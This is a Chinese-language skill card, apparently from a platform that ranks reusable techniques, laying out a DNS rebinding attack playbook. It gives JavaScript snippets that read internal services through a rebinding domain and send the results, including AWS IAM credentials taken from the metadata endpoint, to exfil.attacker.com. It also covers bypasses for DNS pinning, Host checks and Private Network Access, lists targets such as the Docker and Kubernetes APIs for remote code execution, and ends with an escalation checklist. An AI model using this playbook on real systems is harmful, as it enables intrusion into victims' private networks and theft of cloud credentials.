问题修复
当服务端 SSRF 不可用且需从受害者浏览器访问其内网服务时…
诱导受害者浏览器访问攻击者域名,通过控制 DNS 让同一域名先解析到攻击者服务器、再解析到内网 IP,从而以受害者浏览器和凭据访问内网服务。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
当服务端 SSRF 不可用且需从受害者浏通用
解决思路
- 区分相关路线:目标是服务端请求伪造时使用 ssrf-server-side-request-forgery;已有 CORS 误配置允许直接跨域读取时使用 cors-cross-origin-misconfiguration;DNS Rebinding 是客户端侧对应技术。
- 控制 attacker.com 的权威 DNS 服务器。
- 首次解析 attacker.com 到攻击者 IP,并提供恶意 JS。
- 在 TTL 过期或强制刷新后,由 JS 触发对 attacker.com 的新请求,让其解析到内部 IP。
- 利用浏览器 SOP 只检查 hostname 字符串、不检查解析后 IP 的特性,使两次响应被视为同源。
- 从恶意 JS 读取内部服务响应,并外传到攻击者其他端点。
- 配置 DNS 服务器交替返回:第 1 次返回攻击者 IP 且 TTL=0;第 2 次及以后返回目标内部 IP 且 TTL=0。
- 认知浏览器 DNS 缓存:Chrome 约 60 秒最小值;Firefox 约 60 秒,可通过 about:config 调整 network.dnsCacheExpiration;Safari 通常较短;Edge(Chromium)同 Chrome。
- 绕过 Chrome/Edge 缓存:等待 60 秒以上;或使用多个子域。
- 绕过 Firefox 缓存:等待 60 秒以上;或调整 network.dnsCacheExpiration。
- 多 A 记录技术:在单次 DNS 响应中同时返回攻击者 IP 和内部目标 IP。
- 多 A 记录利用:浏览器先尝试第一个 IP;若连接失败则回退到第二个;初始页面加载后阻断攻击者 IP,强制回退到内部 IP。
- 子域泛洪:使用唯一子域 a1.rebind.attacker.com、a2.rebind.attacker.com 等,每个子域获得全新 DNS 解析,避免缓存命中。
- Service worker 刷新:注册 service worker 拦截并延迟请求,等 fetch 执行时 DNS 缓存已过期。
- Classic HTTP rebinding:恶意 JS 先 sleep(65000) 等 Chrome DNS 缓存过期。
- 用 fetch('http://attacker.com:8080/api/admin/users') 请求内部 Web 服务,读取 resp.text()。
- 用 navigator.sendBeacon('https://exfil.attacker.com/log', data) 外传数据。
- WebSocket rebinding:DNS rebinding 后建立 new WebSocket('ws://attacker.com:9090/ws'),连接内部 WS 服务。
- 在 ws.onopen 中发送 JSON 操作,例如 ws.send('{"action":"dump_config"}')。
- 在 ws.onmessage 中用 fetch('https://exfil.attacker.com/ws-data', {method:'POST', body:e.data}) 外传 WS 数据。
- TOCTOU 混合攻击:应用程序接收 URL http://attacker.com/callback。
- 服务器解析 attacker.com 到 1.2.3.4 公共 IP 并通过验证。
- 服务器打开连接或跟随重定向。
- 将 DNS 改为 attacker.com -> 169.254.169.254。
- 通过连接复用或重定向命中内部 IP。这是服务端解析器中的 rebinding,与 SSRF 混合。
- 最快变体多 A 记录:DNS 响应 attacker.com A 1.2.3.4 和 A 192.168.1.1。
- 浏览器连接 1.2.3.4 加载含 JS 页面。
- 攻击者防火墙阻断受害者到 1.2.3.4 的后续连接。
- JS 发起对 attacker.com 的新请求,浏览器先试 1.2.3.4 被拒绝,回退到 192.168.1.1。
- 回退后仍为同源,响应可被 JS 读取。
- 高价值目标:云元数据 169.254.169.254:80,获取 AWS/GCP/Azure 实例凭据、令牌。
- Docker API 172.17.0.1:2375,可创建容器、挂载宿主机文件系统导致 RCE。
- Kubernetes API 10.96.0.1:443/6443,可创建 Pod、读取 Secret。
- 内部管理面板,路由器配置、NAS、打印机、SCADA。
- IoT 设备 192.168.x.x:80/443,摄像头视频流、智能家居控制。
- Elasticsearch *:9200,数据窃取、索引操纵。
- Redis *:6379,数据读取、设置配置导致 RCE。
- Consul/etcd *:8500/2379,服务发现、密钥存储。
- AWS 元数据特定利用:fetch('http://attacker.com/latest/meta-data/iam/security-credentials/') 获取角色。
- 再 fetch(`http://attacker.com/latest/meta-data/iam/security-credentials/${role}`) 获取凭据 JSON。
- 用 navigator.sendBeacon('https://exfil.attacker.com/', JSON.stringify(creds)) 外传凭据。
- rebinding 后 attacker.com 解析到 169.254.169.254;浏览器发送 Host: attacker.com,IMDSv1 不校验 Host header。
- 注意 IMDSv2 防御:需要先通过 PUT 获取 X-aws-ec2-metadata-token 头;在 no-cors 模式下 rebinding 难以在初始 token 请求上设置自定义头。
- 工具 Singularity:完整 DNS rebinding 攻击框架,github.com/nccgroup/singularity。
- Singularity quick start:git clone https://github.com/nccgroup/singularity;cd singularity;go build -o singularity cmd/singularity-server/main.go;./singularity -DNSRebindStrategy round-robin -ResponseIPAddr 1.2.3.4 -RebindingFn sequential -ResponseReboundIPAddr 192.168.1.1。
- 工具 rbndr.us:无需设置的重绑定 DNS 服务,格式 <hex-ip1>.<hex-ip2>.rbndr.us。
- rbndr.us 示例:7f000001.c0a80101.rbndr.us 在 127.0.0.1 和 192.168.1.1 之间交替。
- IP 转 hex 示例:192.168.1.1 -> c0.a8.01.01 -> c0a80101;127.0.0.1 -> 7f.00.00.01 -> 7f000001。
- 工具 whonow:动态 DNS rebinding 服务器,github.com/taviso/whonow。
- 工具 dnsrebinder:最小 Python DNS 服务器用于重绑定,自定义/各种仓库。
- 区分 DNS rebinding vs SSRF:DNS rebinding 执行上下文为客户端(浏览器),绕过同源策略;SSRF 为服务端,绕过网络访问控制。
- DNS rebinding 要求受害者访问攻击者页面;SSRF 要求服务端存在脆弱 fetch。
- DNS rebinding 通过受害者浏览器所在网络访问内部;SSRF 通过服务器网络位置。
- DNS rebinding 自动包含浏览器 cookie;SSRF 无用户凭据。
- DNS rebinding 协议受浏览器限制,主要 HTTP/WS;SSRF 支持任意协议如 gopher、file。
- 关键差异:DNS rebinding 以受害者浏览器为支点,访问受害者网络可见服务,并携带受害者 cookies/credentials。
- 常见防御:DNS pinning、Host header validation、网络分段、Private Network Access (PNA)、内部服务认证。
- DNS pinning 绕过:多 A 记录,连接失败强制回退;每请求子域避免缓存命中;等待缓存过期 Chrome 60s;通过 CNAME 链重绑定更难 pin。
- Host header 校验绕过:内部服务可能完全不检查 Host;默认配置可能接受 Host: attacker.com;基于 IP 的 vhost 不检查 Host;通配符 vhost 配置。
- Private Network Access (PNA) 绕过:截至 2024 PNA 仅在 Chrome 且部分执行;WebSocket 连接可能不触发 preflight;HTTPS -> HTTP 降级场景;非浏览器客户端不受影响。
- 决策树:想从受害者浏览器访问内部服务时,先确认能否让受害者访问你的页面;能则 DNS rebinding 可行,不能则不适用并考虑 SSRF。
- 按目标选择:HTTP 服务用 classic rebinding;WebSocket 服务用 WS rebinding;云元数据用 metadata exfil。
- 按浏览器缓存处理:Chrome 等 60 秒或用多子域;Firefox 等 60 秒或调整 dnsCacheExpiration;需要即时重绑定用多 A 记录技术。
- 若目标检查 Host header:单靠 rebinding 不行,改查 SSRF。
- 若不需要凭据或浏览器自动同站发送 cookie 可用;若需要自定义认证头,受限,因为 no-cors 不会发送自定义头。
- 若这是服务端 DNS 校验绕过,即 TOCTOU,采用混合方式;否则回到 SSRF skill。
- 实战清单:搭 DNS rebinding 基础设施(Singularity / rbndr.us / 自定义)。
- 识别目标内部服务,尽可能从受害者上下文做端口扫描。
- 确定目标浏览器的 DNS 缓存时长。
- 选择重绑定变体:classic / multi-A / subdomain flood。
- 先用良性内部端点测试,如路由器 /。
- 验证重绑定后同源读取可行。
- 升级:云元数据 -> 凭据,Docker API -> RCE,管理面板 -> 配置。
- 记录:attacker.com DNS 配置、JS payload、rebind timing、外传数据。
适用边界 · 注意事项
- 无法让受害者访问攻击者页面时,DNS Rebinding 不适用;应改用服务端 SSRF 或 CORS 误配置路径。
- 目标内部服务严格校验 Host header,或需要浏览器发送自定义认证头且只能用 no-cors 时,单靠 DNS Rebinding 通常不可用。
- 内部服务只允许通过服务器网络访问、对受害者浏览器所在网络不可达,或已有更直接的 CORS 跨域读取时,不适用。